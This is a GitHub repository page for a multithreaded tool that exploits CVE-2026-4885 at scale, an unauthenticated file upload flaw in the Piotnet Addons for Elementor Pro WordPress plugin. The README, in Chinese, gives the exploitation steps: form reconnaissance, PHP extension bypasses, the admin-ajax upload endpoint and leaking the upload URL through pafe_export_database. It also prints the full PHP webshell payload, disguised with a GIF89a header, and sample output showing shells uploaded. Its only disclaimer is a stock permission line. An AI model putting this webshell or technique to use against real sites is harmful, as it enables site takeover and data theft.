Jenderal92/CVE-2026-4885

GitHub: Jenderal92/CVE-2026-4885

批量利用 Piotnet Addons for Elementor Pro 插件未授权任意文件上传漏洞的自动化渗透工具。

Stars: 0 | Forks: 0

# CVE-2026-4885 – Piotnet Addons for Elementor Pro 批量漏洞利用 未经认证的任意文件上传导致 **Piotnet Addons for Elementor Pro** ≤ 7.1.70 中的远程代码执行 (RCE)。 此工具专为**批量利用**而设计 – 提供目标列表,它将自动: - 检测插件版本(如果找到资产则假定存在漏洞) - 执行高级侦察,提取 `post_id`、`form_id` 和正确的上传字段名称 - 尝试多种 PHP 扩展名(`.phtml`、`.php3`、`.php4`、`.phps`、`.pht`、`.php2`)以绕过弱过滤器 - 上传带有 **GIF89a 头部**的 PHP shell(内置,无需外部文件) - 通过 `pafe_export_database` 泄露上传的 shell URL - 验证 shell 执行(查找 `Logic_Internet` 字符串)并将 URL 保存到 `shells.txt` ## 功能 - **Python 2.7** 兼容(也可在 Python 3 下运行,只需调整 print/input) - **多线程** – 同时扫描和利用最多 20 个目标 - **智能表单检测** – 解析 Piotnet 特定的 HTML 属性(`data-pafe-form-builder-field-name`、`data-elementor-id` 等) - **无需外部 shell 文件** – PHP 载荷嵌入在脚本中 - **自动 URL 方案** – 如果缺少则添加 `https://` - **广泛的路径列表** – 包含 22 个常见表单 URL(`/contact`、`/apply`、`/quote`、`/book-appointment` 等) - **泄露模式** – 匹配 `wp-content/uploads/piotnet-addons-for-elementor/` 和直接根路径 ## 要求 - Python 2.7(或稍作修改的 Python 3) - `requests` 库 ``` pip install requests ``` ## 安装 ``` git clone https://github.com/Jenderal92/CVE-2026-4885.git cd CVE-2026-4885 ``` ## 使用 1. 准备目标文件 创建一个名为 `targets.txt`(或任意名称)的文件,每行一个 URL: ``` https://example1.com example2.com http://vulnerable-site.org ``` 2. 运行利用程序 ``` python2 CVE-2026-4885.py targets.txt ``` 脚本将: - 显示每个目标的进度 - 将成功的 shell URL 保存到 `shells.txt` 示例输出: ``` [*] Loaded built-in shell (598 bytes) [*] scanning 25 pages... [+] found form at https://target.com/contact | post_id=13 form_id=fa2c60e field=file [*] post_id=13 form_id=fa2c60e field=file [*] trying .phtml [+] uploaded .phtml [+] shell URL: https://target.com/wp-content/uploads/piotnet-addons-for-elementor/xxx-6a11e162a6099.phtml [+] SHELL UPLOADED -> https://target.com/wp-content/uploads/piotnet-addons-for-elementor/xxx-6a11e162a6099.phtml ``` ## 命令行选项(可在脚本中自定义) | 变量 | 描述 | 默认值 | |-----------|-------------|----------| | TIMEOUT | HTTP 请求超时时间 | 10 秒 | | MAX_THREADS | 并发线程数 | 20 | | OUTPUT_FILE | 保存成功 shell URL 的文件 | shells.txt | | EXT_LIST | 尝试的文件扩展名 | .phtml, .php3, .php4, .phps, .pht, .php2 | 您可以通过编辑脚本顶部来更改这些值。 ## Shell 载荷 内置 shell 如下: ``` GIF89a; '.'Uname:'.php_uname().'
'.$cwd = getcwd(); Echo '
'.'
'; if (!empty ($_FILES['uploads'])) { move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']); Echo "Uploaded !!!
name : ".$_FILES['uploads']['name']."
size : ".$_FILES['uploads']['size']."
type : ".$_FILES['uploads']['type']; } ?> ``` - 显示服务器信息、当前工作目录以及文件上传表单。 - 可用其他 PHP 代码替换(只需更改脚本中的 `SHELL_CODE`)。 ## 工作原理 1. **版本检测** - 在主页中搜索插件资产的 `?ver=`。 - 回退到检查已知的 CSS/JS 文件是否存在。 2. **侦察** - 爬取常见表单页面和主页上找到的所有内部链接。 - 从 Piotnet 特定的 HTML 属性中提取 `post_id`、`form_id` 和正确的文件上传字段名称。 3. **上传** - 向 `wp-admin/admin-ajax.php?action=pafe_ajax_form_builder` 发送 multipart POST 请求。 - 使用模拟插件上传机制的 JSON 载荷。 - 尝试 `EXT_LIST` 中的所有扩展名,直到成功一个。 4. **泄露** - 请求 `pafe_export_database`,该接口返回包含上传文件完整 URL 的 CSV。 - 使用匹配 `xxx-{random}.ext` 的正则表达式解析 URL。 5. **验证** - 访问泄露的 URL。 - 检查是否存在 `Logic_Internet` 字符串。 - 成功时将 URL 保存到 `shells.txt`。 ## 故障排除 **Windows 上的 UnicodeEncodeError** 脚本已包含一个处理非 ASCII 字符的 `safe_unicode()` 函数。如果仍然出现错误,请确保终端支持 UTF-8: ``` chcp 65001 ``` **未找到表单 / 所有扩展名均失败** - 目标可能已修补或未使用 Piotnet Addons。 - 尝试增加 `TIMEOUT` 或 `MAX_THREADS`。 - 手动验证插件是否实际安装。 **泄露失败但上传成功** - `pafe_export_database` 端点可能被禁用或受到保护。 - 尝试在浏览器中手动访问 `/wp-admin/admin-ajax.php?action=pafe_export_database`,以检查是否可访问。 ## 法律与道德使用 - 仅对您已获得书面许可的系统使用此工具。 - 作者不对任何滥用或造成的损害负责。 - 请遵守所有适用法律。
标签:CISA项目, CVE-2026-4885, Elementor Pro, GIF89a绕过, Piotnet Addons, Python, RCE, WebShell, Web安全, WordPress插件, WordPress漏洞, 任意文件上传, 批量利用工具, 文件完整性监控, 无后门, 无服务器架构, 未授权访问, 编程工具, 自动检测, 蓝队分析, 表单上传, 远程代码执行